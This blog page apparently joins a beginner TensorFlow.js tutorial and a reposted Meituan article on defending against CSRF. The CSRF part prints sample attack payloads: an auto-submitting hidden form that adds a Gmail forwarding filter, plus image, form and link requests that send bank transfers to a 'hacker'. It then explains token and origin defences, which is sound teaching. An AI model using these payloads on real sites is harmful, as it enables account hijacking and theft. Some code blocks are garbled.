种草TensorFlowJS

种草 TensorFlow.js

导读

本文的目的主要是引导刚接触人工智能或者机器学习的同学,能够从第一步开始学习TensorFlowJS。阅读本文先确认具备以下基础技能:

  1. 会使用 JS 编程(TensorFlow 也支持 Python、Java、C++、Go)
  2. 一些数组相关的知识(线性代数没忘干净就行)
  3. 最好再懂点机器学习相关的知识(临时百度、Google也ok)

什么是TensorFlow?

TensorFlow是一个采用数据流图(Data Flow graphs),各类机器学习算法的人工智能的基础库。谷歌大脑自2011年成立起开展了面向科学研究和谷歌产品开发的大规模深度学习应用研究,早期TensorFlow的前身是DistBelief。DistBelief的功能是构建各尺度下的神经网络分布式学习和交互系统,也被称为“第一代机器学习系统” 。
2015年11月,在DistBelief的基础上,谷歌大脑完成了对“第二代机器学习系统”TensorFlow的开发并对代码开源。相比于前作,TensorFlow在性能上有显著改进、构架灵活性和可移植性也得到增强。

TensorFlow支持多种客户端语言下的安装和运行。截至版本1.12.0,绑定完成并支持版本兼容运行的语言为C和Python,其它试验性绑定完成的语言为JavaScript、C++、Java、Go和Swift,依然处于开发阶段的包括C#、Haskell、Julia、Ruby、Rust和Scala。它灵活的架构让你可以在多种平台上展开计算,例如台式计算机中的一个或多个CPU(或GPU),服务器,移动设备等等。TensorFlow 最初由Google机器智能研究机构的研究员和工程师们开发出来,用于机器学习和深度神经网络方面的研究,但这个系统的通用性使其也可广泛用于其他计算领域。TensorFlow.js官网

Tensorflow特点:高度的灵活性,真正的可移植性,多语言支持,性能最优化

什么是数据流图(Data Flow Graph)?

数据流图用“结点”(nodes)和“线”(edges)的有向图来描述数学计算。“节点” 一般用来表示施加的数学操作,但也可以表示数据输入的起点/输出的终点,或者是读取/写入持久变量的终点。“线”表示“节点”之间的输入/输出关系。这些数据“线”可以输运“size可动态调整”的多维数据数组,即“张量”(tensor)。

Data Flow graph

张量从图中流过的直观图像是这个工具取名为“Tensorflow”的原因。一旦输入端的所有张量准备好,节点将被分配到各种计算设备完成异步并行地执行运算。

TensorFlow 中的数据流图有以下几个优点:

  • 可并行:计算节点之间有明确的线进行连接,系统可以很容易的判断出哪些计算操作可以并行执行
  • 可分发:图中的各个节点可以分布在不同的计算单元(CPU、 GPU)或者不同的机器中,每个节点产生的数据可以通过明确的线发送的下一个节点中
  • 可优化:TensorFlow 中的 XLA 编译器可以根据数据流图进行代码优化,加快运行速度
  • 可移植:数据流图的信息可以不依赖代码进行保存,如使用Python创建的图,经过保存后可以在C++或Java中使用

是不是上来直接看TensorFlow有些晦涩难懂呢?那我们就从人工智能的底层模型讲起,人工智能的底层模型是“神经网络”。许多复杂的应用和高级模型(比如深度学习)都基于它,学习人工智能,应该是是先从了解它开始。

什么是神经网络?

顾名思义,每个人都有神经,人体的神经遍布全身,形成一张张的神经网络;科学家一直希望模拟人的大脑,造出可以思考的机器;那么人为什么能够思考?科学家发现,原因在于人体的神经网络;外部刺激神经末梢,转化为电信号,转导到神经细胞(又叫神经元);无数神经元构成神经中枢,神经中枢综合各种信号,做出判断;人体根据神经中枢的指令,对外部刺激做出反应。如果能够”人造神经元”,就能组成人工神经网络,学着人类一样模拟思考。所以我们所说的人工智能中的神经网络,通常指的就是“人工神经网络”

举一个通俗的决策例子:周末科技馆举办科技展览,小明拿不定主意,周末要不要去参观,他决定考虑三个因素。

1.天气:周末是否晴天?

2.同伴:能否找到人一起去?

3.价格:门票是否可承受?

那么这三个就是决定他去不去展览的因素,我们先定义这三个因素权重为(w1,w2,w3),假如对应分别为(4,2,2),权重总和为8,那我们设置阈值,当小明觉着阈值大于等于4的时候,那么他就有比较强烈的意向去餐馆科技展览,如果小于4的话,小明就不太想去参加科技展了,设置的阈值的高低代表了意愿的强烈,阈值越高就表示越想去,越低就越不想去。那我在设置一个感知器(x1,x2,x3),如果满足条件为1,不满足则为0,总阈值为Output,那么我们简单画一下小明参加科技展的这个最简单的决策模型:

小明参加科技展的决策模型

Output = x1 w1 + x2 w2 + x3 * w3

那么判断逻辑如下:

Output >= 4 ? Yes : No

比如:天气晴天,小明即便没有找到同伴,哪怕贵一点也就去了;又或者天气不好,但是有同伴门票也不贵于是也就去了。
这是一个比较简单的决策模型,那么现实中很多事情,依赖的因素很多,就不是这么简简单单的模型了,就像下图中的决策模型,它就有多层,不是像上面小明这个例子通过一层决策就可以的,多层结构的模型就会让事情的结果变得更复杂,让结果变得更加变幻莫测,例如下面的决策模型:

现实世界的决策模型

其中,最困难的部分就是确定权重和阈值。目前为止,这两个值都是主观给出的,但现实中很难估计它们的值,必需有一种方法,可以找出答案。
这种方法就是试错法,其他参数都不变,w的微小变动,记作Δw,然后观察输出有什么变化。不断重复这个过程,直至得到对应最精确输出的那组权重和阈值,就是我们需要的值。这个过程称为模型的训练,整个过程需要海量计算,所以要使用专门为机器学习定制的 GPU 来计算。

上面讲了这些神经网络的基础知识,那么下面我们来讲下TensorFlow的基础知识:

TensorFlow基础知识

安装

  • 使用Script Tag
1
2
3
4
5
6
7
8
9
10
11
12
13
14
<html>
<head>
<!-- Load TensorFlow.js -->
<script src="https://cdn.jsdelivr.net/npm/@tensorflow/tfjs@0.9.0"> </script>
<script>
const b = tf.tensor2d([[2, 3, 4], [5, 6, 7]]);
b.print();
...
});
</script>

</head>
<body>
</body>
</html>
  • 通过NPM(或yarn)
1
2
yarn add @tensorflow/tfjs  
npm install @tensorflow/tfjs

张量

TensorFlow 内部的计算都是基于张量(Tensor)的,因此我们有必要先对张量有个认识。张量是在我们熟悉的标量、向量之上定义的,详细的定义比较复杂,我们可以先简单的将它理解为一个多维数组:

1
2
3
4
3                                       # 这个 0 阶张量就是标量,shape=[]
[1., 2., 3.] # 这个 1 阶张量就是向量,shape=[3]
[[1., 2., 3.], [4., 5., 6.]] # 这个 2 阶张量就是二维数组,shape=[2, 3]
[[[1., 2., 3.]], [[7., 8., 9.]]] # 这个 3 阶张量就是三维数组,shape=[2, 1, 3]

TensorFlow 内部使用tf.Tensor类的实例来表示张量,每个 tf.Tensor有两个属性:

  • dtype Tensor 存储的数据的类型,可以为tf.float32、tf.int32、tf.string.
  • shape Tensor 存储的多维数组中每个维度的数组中元素的个数,如上面例子中的shape.

例子:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
// 2x3 Tensor
const shape = [2, 3]; // 2 行, 3 列
const a = tf.tensor([1.0, 2.0, 3.0, 10.0, 20.0, 30.0], shape);
a.print(); // 打印张量值
// 输出:[[1 , 2 , 3 ],
// [10, 20, 30]]

// shape也可以用下面的方式实现:
const b = tf.tensor([[1.0, 2.0, 3.0], [10.0, 20.0, 30.0]]);
b.print();
// 输出:[[1 , 2 , 3 ],
// [10, 20, 30]]

const b = tf.tensor2d([[2, 3, 4], [5, 6, 7]]);
b.print(); // 输出二维张量
//输出:[[2, 3, 4],
// [5, 6, 7]]

const c = tf.zeros([2, 3]);
c.print(); // 输出2行3列的值全是0的张量
//输出:[[0, 0, 0],
// [0, 0, 0]]

const d = tf.ones([3, 5]);
d.print(); // 输出3行5列的值全是1的张量
//输出:[[1, 1, 1, 1, 1],
// [1, 1, 1, 1, 1],
// [1, 1, 1, 1, 1]]

TensorFlow应用实例

上面介绍了 TensorFlow 中的一些基本概念,下面我们通过一个小例子来了解一下怎么使用 TensorFlow 进行机器学习。这里我们将使用TensorFlow来根据数据做拟合曲线。即使用多项式产生数据然后再改变其中某些数据(点),然后我们会训练模型来找到用于产生这些数据的多项式的系数。简单的说,就是给一些在二维坐标中的散点图,然后我们建立一个系数未知的多项式,通过TensorFlow.js来训练模型,最终找到这些未知的系数,让这个多项式和散点图拟合。一般做一个应用大致分为以下几个步骤:

第一步:建立模型

第二步:实现模型

第三步:训练模型

第四步:评估模型

步骤一:建立模型

例如下面一个简单例子,下表是我们进行某项实验获得的一些实验数据:

Input Output
1 4.8
2 8.5
3 10.4
6 21
8 25.3

我们将这些数据放到一个二维的图表上可以看的更直观一些,如下,这些数据在图中表现为一些离散的点:

我们需要根据现有的这些数据归纳出一个通用模型,通过这个模型我们可以预测其他的输入值产生的输出值。如果用 x 表示输入, y 表示输出,线性模型可以用下面的方程表示(如果我们学过线性代数的话应该了解下面的方程式):

1
y = w * x + b

即使我们选择了直线模型,可以选择的模型也会有很多,如下图的三条直线都像是一种比较合理的模型,只是w和b参数不同。

这时我们需要设计一个损失模型(loss model),来评估一下哪个模型更合理一些,并找到一个最准确的模型。

我们用y′表示实验得到的实际输出,用下面的方程表示我们的损失模型:

显然,损失模型里得到的loss越小,说明我们的线性模型越准确。

步骤二:实现模型

上面我们根据实验数据建立了一个线性模型,并为这个线性模型设计了一个损失模型,下面介绍的是怎么在 TensorFlow 中实现我们设计的模型。
在我们的线性模型 y = w * x + b 中,输入x可以用占位 Tensor 表示,输出y可以用线性模型的输出表示,我们需要不断的改变W和b的值,来找到一个使loss最小的值。这里W和b可以用变量 Tensor 表示,如下就是我们模型的实现代码逻辑:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
import tensorflow as tf

# 创建变量 W 和 b 节点,并设置初始值
W = tf.Variable([.1], dtype=tf.float32)
b = tf.Variable([-.1], dtype=tf.float32)
# 创建 x 节点,用来输入实验中的输入数据
x = tf.placeholder(tf.float32)
# 创建线性模型
linear_model = w * x + b

# 创建 y 节点,用来输入实验中得到的输出数据,用于损失模型计算
y = tf.placeholder(tf.float32)
# 创建损失模型
loss = tf.reduce_sum(tf.square(linear_model - y))

# 创建 Session 用来计算模型
sess = tf.Session()

# 初始化变量,通过tf.Variable生成的初始值不能立即使用
init = tf.global_variables_initializer()
sess.run(init)

我们可以先用上面对 wb 设置一个随机的初始值为 0.1-0.1 运行一下我们的线性模型看看结果:

1
2
print(sess.run(loss, {x: [1, 2, 3, 6, 8], y: [4.8, 8.5, 10.4, 21.0, 25.3]}))
// 1223.05 loss的值有点大

我们需要不断调整变量w和b的值,找到使损失值最小的w和b;这肯定是一个非常无聊的过程,因此 TensorFlow 提供了训练模型的方法,自动帮我们进行这些繁琐的训练工作。

步骤三:训练模型

TensorFlow 提供了很多优化算法来帮助我们训练模型。最简单的优化算法是梯度下降(Gradient Descent)算法,它通过不断的改变模型中变量的值,来找到最小损失值。
如下的代码就是使用梯度下降优化算法帮助我们训练模型:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
# 创建一个梯度下降优化器,学习率为0.001
optimizer = tf.train.GradientDescentOptimizer(0.001)
train = optimizer.minimize(loss)

# 用两个数组保存训练数据
x_train = [1, 2, 3, 6, 8]
y_train = [4.8, 8.5, 10.4, 21.0, 25.3]

# 训练10000次
for i in range(10000):
sess.run(train, {x: x_train, y: y_train})

# 打印一下训练后的结果
print('W: %s b: %s loss: %s' % (sess.run(W), sess.run(b), sess.run(loss, {x: x_train , y: y_train})))

// W: [ 2.98236108] b: [ 2.07054377] loss: 2.12941

通过使用一组实验数据训练我们的线性模型,我们得到了一个自认为损失最小的最优模型,根据训练结果我们的最优模型可以表示为下面的方程:

1
y = 2.98x + 2.07 /* w:2.98 b:2.07 当然舍弃的精度越多输出结果不会太准 */

步骤四:评估模型

但是这个我们自认为的最优模型是否会一直是最优的?

那么我们就需要评估这个模型,我们需要通过一些新的实验数据来评估模型的泛化性能,如果新的实验数据应用到到这个模型中损失值越小,那么这个模型的泛化性能就越好,反之就越差。

核心关键点:训练模型的数据和评估模型的数据,必须是两波不一样的数据;用训练数据单独训练完成之后,再用评估的数据来验证,不能有重复数据

前面我们构建了一个线性模型,通过训练得到一个线性回归方程,TensorFlow中也提供了中也提供了线性回归的训练模型 tf.estimator.LinearRegressor,下面的简单描述一下使用LinearRegressor训练并评估模型的方法:

一.导入训练用的数据和评估用的数据分别用不同的数组存储;

二.用训练数据创建一个输入模型,用来进行后面的模型训练;

三.再用训练数据创建一个输入模型,用来进行后面的模型评估;

四.用评估数据创建一个输入模型,用来进行后面的模型评估;

五.使用训练数据训练1000次;

六.使用原来训练数据评估一下模型,目的是查看训练的结果;

七.使用评估数据评估一下模型,目的是验证模型的泛化性能;

写在最后

TensorFlow在国内而言,对于国内的一些初创型AI企业来说,TensorFlow显得尤为重要,当然也有些老牌的人工智能公司还在用Keras;对于国外而言,TensorFlow是非常受欢迎的,从Github公开的数据中我们可以看到,光是该工程的Fork就已经达到了69123,Star数量高达113302TensorFlow的github主页(数据在不断增加),位于同类型工具的第一位。

对于中文社区而言,TensorFlow的python版本更全面,教程以及API文档更加全面和详细,对于JS版本的还不是特别多,但是也不影响你对TensorFlow的学习,总得来说你可以先学习更多python的教程,实践的时候按照TensorFlowJS的API文档对照来编程也是ok的。TensorFlowJS的官网还提供了很多有趣的Demo,例如:手写数字图片识别等。

无论怎样,我们都不得不承认TensorFlow是一个很棒的系统,人们用人工智能做了很多令人惊叹的事情,包括一些医疗、电影推荐引擎、音乐、个性化广告以及社交媒体情感挖掘等,TensorFlow确实是现阶段比较火的人工智能框架.

前端安全系列之CSRF

美团博客原文地址:前端安全系列(二):如何防止CSRF攻击?

背景

随着互联网的高速发展,信息安全问题已经成为企业最为关注的焦点之一,而前端又是引发企业安全问题的高危据点。在移动互联网时代,前端人员除了传统的 XSS、CSRF 等安全问题之外,又时常遭遇网络劫持、非法调用 Hybrid API 等新型安全问题。当然,浏览器自身也在不断在进化和发展,不断引入 CSP、Same-Site Cookies 等新技术来增强安全性,但是仍存在很多潜在的威胁,这需要前端技术人员不断进行“查漏补缺”。

前端安全

近几年,美团业务高速发展,前端随之面临很多安全挑战,因此积累了大量的实践经验。我们梳理了常见的前端安全问题以及对应的解决方案,将会做成一个系列,希望可以帮助前端同学在日常开发中不断预防和修复安全漏洞。本文是该系列的第二篇。

今天我们讲解一下 CSRF,其实相比XSS,CSRF的名气似乎并不是那么大,很多人都认为“CSRF不具备那么大的破坏性”。真的是这样吗?接下来,我们还是有请小明同学再次“闪亮”登场。

CSRF攻击

CSRF漏洞的发生

相比XSS,CSRF的名气似乎并不是那么大,很多人都认为CSRF“不那么有破坏性”。真的是这样吗?

接下来有请小明出场~~

小明的悲惨遭遇

这一天,小明同学百无聊赖地刷着Gmail邮件。大部分都是没营养的通知、验证码、聊天记录之类。但有一封邮件引起了小明的注意:

甩卖比特币,一个只要998!!

聪明的小明当然知道这种肯定是骗子,但还是抱着好奇的态度点了进去(请勿模仿)。果然,这只是一个什么都没有的空白页面,小明失望的关闭了页面。一切似乎什么都没有发生……

在这平静的外表之下,黑客的攻击已然得手。小明的Gmail中,被偷偷设置了一个过滤规则,这个规则使得所有的邮件都会被自动转发到haker@hackermail.com。小明还在继续刷着邮件,殊不知他的邮件正在一封封地,如脱缰的野马一般地,持续不断地向着黑客的邮箱转发而去。

不久之后的一天,小明发现自己的域名已经被转让了。懵懂的小明以为是域名到期自己忘了续费,直到有一天,对方开出了 650$ 的赎回价码,小明才开始觉得不太对劲。

小明仔细查了下域名的转让,对方是拥有自己的验证码的,而域名的验证码只存在于自己的邮箱里面。小明回想起那天奇怪的链接,打开后重新查看了“空白页”的源码:

1
2
3
4
5
6
7
8
9
10
<form method="POST" action="https://mail.google.com/mail/h/ewt1jmuj4ddv/?v=prf" enctype="multipart/form-data"> 
<input type="hidden" name="cf2_emc" value="true"/>
<input type="hidden" name="cf2_email" value="hacker@hakermail.com"/>
.....
<input type="hidden" name="irf" value="on"/>
<input type="hidden" name="nvp_bu_cftb" value="Create Filter"/>
</form>
<script>
document.forms[0].submit();
</script>

这个页面只要打开,就会向Gmail发送一个post请求。请求中,执行了“Create Filter”命令,将所有的邮件,转发到“hacker@hakermail.com”。

小明由于刚刚就登陆了Gmail,所以这个请求发送时,携带着小明的登录凭证(Cookie),Gmail的后台接收到请求,验证了确实有小明的登录凭证,于是成功给小明配置了过滤器。

黑客可以查看小明的所有邮件,包括邮件里的域名验证码等隐私信息。拿到验证码之后,黑客就可以要求域名服务商把域名重置给自己

小明很快打开Gmail,找到了那条过滤器,将其删除。然而,已经泄露的邮件,已经被转让的域名,再也无法挽回了……

以上就是小明的悲惨遭遇。而“点开一个黑客的链接,所有邮件都被窃取”这种事情并不是杜撰的,此事件原型是2007年Gmail的CSRF漏洞:

https://www.davidairey.com/google-Gmail-security-hijack/

当然,目前此漏洞已被Gmail修复,请使用Gmail的同学不要慌张。

什么是CSRF

CSRF(Cross-site request forgery)跨站请求伪造:攻击者诱导受害者进入第三方网站,在第三方网站中,向被攻击网站发送跨站请求。利用受害者在被攻击网站已经获取的注册凭证,绕过后台的用户验证,达到冒充用户对被攻击的网站执行某项操作的目的。

一个典型的CSRF攻击有着如下的流程:

  • 受害者登录a.com,并保留了登录凭证(Cookie)。
  • 攻击者引诱受害者访问了b.com。
  • b.com 向 a.com 发送了一个请求:a.com/act=xx。浏览器会默认携带a.com的Cookie。
  • a.com接收到请求后,对请求进行验证,并确认是受害者的凭证,误以为是受害者自己发送的请求。
  • a.com以受害者的名义执行了act=xx。
  • 攻击完成,攻击者在受害者不知情的情况下,冒充受害者,让a.com执行了自己定义的操作。

几种常见的攻击类型:

  • GET类型的CSRF:

GET类型的CSRF利用非常简单,只需要一个HTTP请求,一般会这样利用:

1
<img src="http://bank.example/withdraw?amount=10000&for=hacker" >

在受害者访问含有这个img的页面后,浏览器会自动向

1
2
3
4
5
6
7
8
9
10
11

* POST类型的CSRF:

这种类型的CSRF利用起来通常使用的是一个自动提交的表单,如:
```html
<form action="http://bank.example/withdraw" method=POST>
<input type="hidden" name="account" value="xiaoming" />
<input type="hidden" name="amount" value="10000" />
<input type="hidden" name="for" value="hacker" />
</form>
<script> document.forms[0].submit(); </script>

访问该页面后,表单会自动提交,相当于模拟用户完成了一次POST操作。

POST类型的攻击通常比GET要求更加严格一点,但仍并不复杂。任何个人网站、博客,被黑客上传页面的网站都有可能是发起攻击的来源,后端接口不能将安全寄托在仅允许POST上面。

  • 链接类型的CSRF

链接类型的CSRF并不常见,比起其他两种用户打开页面就中招的情况,这种需要用户点击链接才会触发。这种类型通常是在论坛中发布的图片中嵌入恶意链接,或者以广告的形式诱导用户中招,攻击者通常会以比较夸张的词语诱骗用户点击,例如:

1
2
3
<a href="http://test.com/csrf/withdraw.php?amount=1000&for=hacker" taget="_blank">
重磅消息!!
<a/>

由于之前用户登录了信任的网站A,并且保存登录状态,只要用户主动访问上面的这个PHP页面,则表示攻击成功。

CSRF的特点

  • 攻击一般发起在第三方网站,而不是被攻击的网站。被攻击的网站无法防止攻击发生。
  • 攻击利用受害者在被攻击网站的登录凭证,冒充受害者提交操作;而不是直接窃取数据。
  • 整个过程攻击者并不能获取到受害者的登录凭证,仅仅是“冒用”。
  • 跨站请求可以用各种方式:图片URL、超链接、CORS、Form提交等等。部分请求方式可以直接嵌入在第三方论坛、文章中,难以进行追踪。

CSRF通常是跨域的,因为外域通常更容易被攻击者掌控。但是如果本域下有容易被利用的功能,比如可以发图和链接的论坛和评论区。攻击可以直接在本域下进行,而且这种攻击更加危险。

防护策略

CSRF通常从第三方网站发起,被攻击的网站无法防止攻击发生,只能通过增强自己网站针对CSRF的防护能力来提升安全性。

上文中讲了CSRF的两个特点:

  • CSRF(通常)发生在第三方域名。
  • CSRF攻击者不能获取到Cookie等信息,只是使用。

针对这两点,我们可以专门制定防护策略,如下:

  • 阻止不明外域的访问
    • 同源检测
    • Samesite Cookie
  • 提交时要求附加本域才能获取的信息
    • CSRF Token
    • 双重Cookie验证

以下我们对各种防护方法做详细说明:

同源检测

既然CSRF大多来自第三方网站,那么我们就直接禁止外域(或者不受信任的域名)对我们发起请求。

那么问题来了,我们如何判断请求是否来自外域呢?

在HTTP协议中,每一个异步请求都会携带两个Header,用于标记来源域名:

  • Origin Header
  • Referer Header

这两个Header在浏览器发起请求时,大多数情况会自动带上,并且不能由前端自定义内容。
服务器可以通过解析这两个Header中的域名,确定请求的来源域。

使用Origin Header确定来源域名

在部分与CSRF有关的请求中,请求的Header中会携带Origin字段。字段内包含请求的域名(不包含path及query)。

如果Origin存在,那么直接使用Origin中的字段确认来源域名就可以。

但是Origin在以下两种情况下并不存在:

  • IE11同源策略: IE 11 不会在跨站CORS请求上添加Origin标头,Referer头将仍然是唯一的标识。最根本原因是因为IE 11对同源的定义和其他浏览器有不同,有两个主要的区别,可以参考MDN Same-origin_policy#IE_Exceptions

  • 302重定向: 在302重定向之后Origin不包含在重定向的请求中,因为Origin可能会被认为是其他来源的敏感信息。对于302重定向的情况来说都是定向到新的服务器上的URL,因此浏览器不想将Origin泄漏到新的服务器上。

使用Referer Header确定来源域名

根据HTTP协议,在HTTP头中有一个字段叫Referer,记录了该HTTP请求的来源地址。
对于Ajax请求,图片和script等资源请求,Referer为发起请求的页面地址。对于页面跳转,Referer为打开页面历史记录的前一个页面地址。因此我们使用Referer中链接的Origin部分可以得知请求的来源域名。

这种方法并非万无一失,Referer的值是由浏览器提供的,虽然HTTP协议上有明确的要求,但是每个浏览器对于Referer的具体实现可能有差别,并不能保证浏览器自身没有安全漏洞。使用验证 Referer 值的方法,就是把安全性都依赖于第三方(即浏览器)来保障,从理论上来讲,这样并不是很安全。在部分情况下,攻击者可以隐藏,甚至修改自己请求的Referer。

2014年,W3C的Web应用安全工作组发布了Referrer Policy草案,对浏览器该如何发送Referer做了详细的规定。截止现在新版浏览器大部分已经支持了这份草案,我们终于可以灵活地控制自己网站的Referer策略了。新版的Referrer Policy规定了五种Referer策略:No Referrer、No Referrer When Downgrade、Origin Only、Origin When Cross-origin、和 Unsafe URL。之前就存在的三种策略:never、default和always,在新标准里换了个名称。他们的对应关系如下:

策略名称 属性值(新) 属性值(旧)
No Referrer no-Referrer never
No Referrer When Downgrade no-Referrer-when-downgrade default
Origin Only (same or strict) origin origin
Origin When Cross Origin (strict) origin-when-crossorigin -
Unsafe URL unsafe-url always

根据上面的表格因此需要把Referrer Policy的策略设置成same-origin,对于同源的链接和引用,会发送Referer,referer值为Host不带Path;跨域访问则不携带Referer。例如:

1
2
3
4
5
6
7
8
9
10

设置Referrer Policy的方法有三种:
1. 在CSP设置
2. 页面头部增加meta标签
3. a标签增加referrerpolicy属性

上面说的这些比较多,但我们可以知道一个问题:攻击者可以在自己的请求中隐藏Referer。如果攻击者将自己的请求这样填写:

```html
<img src="http://bank.example/withdraw?amount=10000&for=hacker" referrerpolicy="no-referrer">

那么这个请求发起的攻击将不携带Referer。

另外在以下情况下Referer没有或者不可信:

1.IE6、7下使用window.location.href=url进行界面的跳转,会丢失Referer。

2.IE6、7下使用window.open,也会缺失Referer。

3.HTTPS页面跳转到HTTP页面,所有浏览器Referer都丢失。

4.点击Flash上到达另外一个网站的时候,Referer的情况就比较杂乱,不太可信。

无法确认来源域名情况

当Origin和Referer头文件不存在时该怎么办?如果Origin和Referer都不存在,建议直接进行阻止,特别是如果您没有使用随机CSRF Token(参考下方)作为第二次检查。

如何阻止外域请求

通过Header的验证,我们可以知道发起请求的来源域名,这些来源域名可能是网站本域,或者子域名,或者有授权的第三方域名,又或者来自不可信的未知域名。

我们已经知道了请求域名是否是来自不可信的域名,我们直接阻止掉这些的请求,就能防御CSRF攻击了吗?

且慢!当一个请求是页面请求(比如网站的主页),而来源是搜索引擎的链接(例如百度的搜索结果),也会被当成疑似CSRF攻击。所以在判断的时候需要过滤掉页面请求情况,通常Header符合以下情况:

1
2
Accept: text/html
Method: GET

但相应的,页面请求就暴露在了CSRF的攻击范围之中。如果你的网站中,在页面的GET请求中对当前用户做了什么操作的话,防范就失效了。

例如,下面的页面请求:

1
GET https://example.com/addComment?comment=XXX&dest=orderId

注:这种严格来说并不一定存在CSRF攻击的风险,但仍然有很多网站经常把主文档GET请求挂上参数来实现产品功能,但是这样做对于自身来说是存在安全风险的。

另外,前面说过,CSRF大多数情况下来自第三方域名,但并不能排除本域发起。如果攻击者有权限在本域发布评论(含链接、图片等,统称UGC),那么它可以直接在本域发起攻击,这种情况下同源策略无法达到防护的作用。

综上所述:同源验证是一个相对简单的防范方法,能够防范绝大多数的CSRF攻击。但这并不是万无一失的,对于安全性要求较高,或者有较多用户输入内容的网站,我们就要对关键的接口做额外的防护措施。

CSRF Token

前面讲到CSRF的另一个特征是,攻击者无法直接窃取到用户的信息(Cookie,Header,网站内容等),仅仅是冒用Cookie中的信息。

而CSRF攻击之所以能够成功,是因为服务器误把攻击者发送的请求当成了用户自己的请求。那么我们可以要求所有的用户请求都携带一个CSRF攻击者无法获取到的Token。服务器通过校验请求是否携带正确的Token,来把正常的请求和攻击的请求区分开,也可以防范CSRF的攻击。

原理

CSRF Token的防护策略分为三个步骤:

1.将CSRF Token输出到页面中

首先,用户打开页面的时候,服务器需要给这个用户生成一个Token,该Token通过加密算法对数据进行加密,一般Token都包括随机字符串和时间戳的组合,显然在提交时Token不能再放在Cookie中了,否则又会被攻击者冒用。因此,为了安全起见Token最好还是存在服务器的Session中,之后在每次页面加载时,使用JS遍历整个DOM树,对于DOM中所有的a和form标签后加入Token。这样可以解决大部分的请求,但是对于在页面加载之后动态生成的HTML代码,这种方法就没有作用,还需要程序员在编码时手动添加Token。

2.页面提交的请求携带这个Token

对于GET请求,Token将附在请求地址之后,这样URL 就变成 http://url?csrftoken=tokenvalue。 而对于 POST 请求来说,要在 form 的最后加上:

1
<input type=”hidden” name=”csrftoken” value=”tokenvalue”/>

这样,就把Token以参数的形式加入请求了。

3.服务器验证Token是否正确

当用户从客户端得到了Token,再次提交给服务器的时候,服务器需要判断Token的有效性,验证过程是先解密Token,对比加密字符串以及时间戳,如果加密字符串一致且时间未过期,那么这个Token就是有效的。

这种方法要比之前检查Referer或者Origin要安全一些,Token可以在产生并放于Session之中,然后在每次请求时把Token从Session中拿出,与请求中的Token进行比对,但这种方法的比较麻烦的在于如何把Token以参数的形式加入请求。
下面将以Java为例,介绍一些CSRF Token的服务端校验逻辑,代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
HttpServletRequest req = (HttpServletRequest)request; 
HttpSession s = req.getSession();

// 从 session 中得到 csrftoken 属性
String sToken = (String)s.getAttribute(“csrftoken”);
if(sToken == null){
// 产生新的 token 放入 session 中
sToken = generateToken();
s.setAttribute(“csrftoken”,sToken);
chain.doFilter(request, response);
} else{
// 从 HTTP 头中取得 csrftoken
String xhrToken = req.getHeader(“csrftoken”);
// 从请求参数中取得 csrftoken
String pToken = req.getParameter(“csrftoken”);
if(sToken != null && xhrToken != null && sToken.equals(xhrToken)){
chain.doFilter(request, response);
}else if(sToken != null && pToken != null && sToken.equals(pToken)){
chain.doFilter(request, response);
}else{
request.getRequestDispatcher(“error.jsp”).forward(request,response);
}
}

代码源自IBM developerworks CSRF

这个Token的值必须是随机生成的,这样它就不会被攻击者猜到,考虑利用Java应用程序的java.security.SecureRandom类来生成足够长的随机标记,替代生成算法包括使用256位BASE64编码哈希,选择这种生成算法的开发人员必须确保在散列数据中使用随机性和唯一性来生成随机标识。通常,开发人员只需为当前会话生成一次Token。在初始生成此Token之后,该值将存储在会话中,并用于每个后续请求,直到会话过期。当最终用户发出请求时,服务器端必须验证请求中Token的存在性和有效性,与会话中找到的Token相比较。如果在请求中找不到Token,或者提供的值与会话中的值不匹配,则应中止请求,应重置Token并将事件记录为正在进行的潜在CSRF攻击。

分布式校验

在大型网站中,使用Session存储CSRF Token会带来很大的压力。访问单台服务器session是同一个。但是现在的大型网站中,我们的服务器通常不止一台,可能是几十台甚至几百台之多,甚至多个机房都可能在不同的省份,用户发起的HTTP请求通常要经过像Ngnix之类的负载均衡器之后,再路由到具体的服务器上,由于Session默认存储在单机服务器内存中,因此在分布式环境下同一个用户发送的多次HTTP请求可能会先后落到不同的服务器上,导致后面发起的HTTP请求无法拿到之前的HTTP请求存储在服务器中的Session数据,从而使得Session机制在分布式环境下失效,因此在分布式集群中CSRF Token需要存储在Redis之类的公共存储空间。

由于使用Session存储,读取和验证CSRF Token会引起比较大的复杂度和性能问题,目前很多网站采用Encrypted Token Pattern方式。这种方法的Token是一个计算出来的结果,而非随机生成的字符串。这样在校验时无需再去读取存储的Token,只用再次计算一次即可。

这种Token的值通常是使用UserID、时间戳和随机数,通过加密的方法生成。这样既可以保证分布式服务的Token一致,又能保证Token不容易被破解。

在token解密成功之后,服务器可以访问解析值,Token中包含的UserID和时间戳将会被拿来被验证有效性,将UserID与当前登录的UserID进行比较,并将时间戳与当前时间进行比较。

总结

Token是一个比较有效的CSRF防护方法,只要页面没有XSS漏洞泄露Token,那么接口的CSRF攻击就无法成功。

但是此方法的实现比较复杂,需要给每一个页面都写入Token(前端无法使用纯静态页面),每一个Form及Ajax请求都携带这个Token,后端对每一个接口都进行校验,并保证页面Token及请求Token一致。这就使得这个防护策略不能在通用的拦截上统一拦截处理,而需要每一个页面和接口都添加对应的输出和校验。这种方法工作量巨大,且有可能遗漏。

验证码和密码其实也可以起到CSRF Token的作用哦,而且更安全。

为什么很多银行等网站会要求已经登录的用户在转账时再次输入密码,现在是不是有一定道理了?

双重Cookie验证

在会话中存储CSRF Token比较繁琐,而且不能在通用的拦截上统一处理所有的接口。

那么另一种防御措施是使用双重提交Cookie。利用CSRF攻击不能获取到用户Cookie的特点,我们可以要求Ajax和表单请求携带一个Cookie中的值。

双重Cookie采用以下流程:

  • 在用户访问网站页面时,向请求域名注入一个Cookie,内容为随机字符串(例如
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    * 在前端向后端发起请求时,取出Cookie,并添加到URL的参数中(接上例```POST https://www.a.com/comment?csrfcookie=v8g9e4ksfhw```)。
    * 后端接口验证Cookie中的字段与URL参数中的字段是否一致,不一致则拒绝。

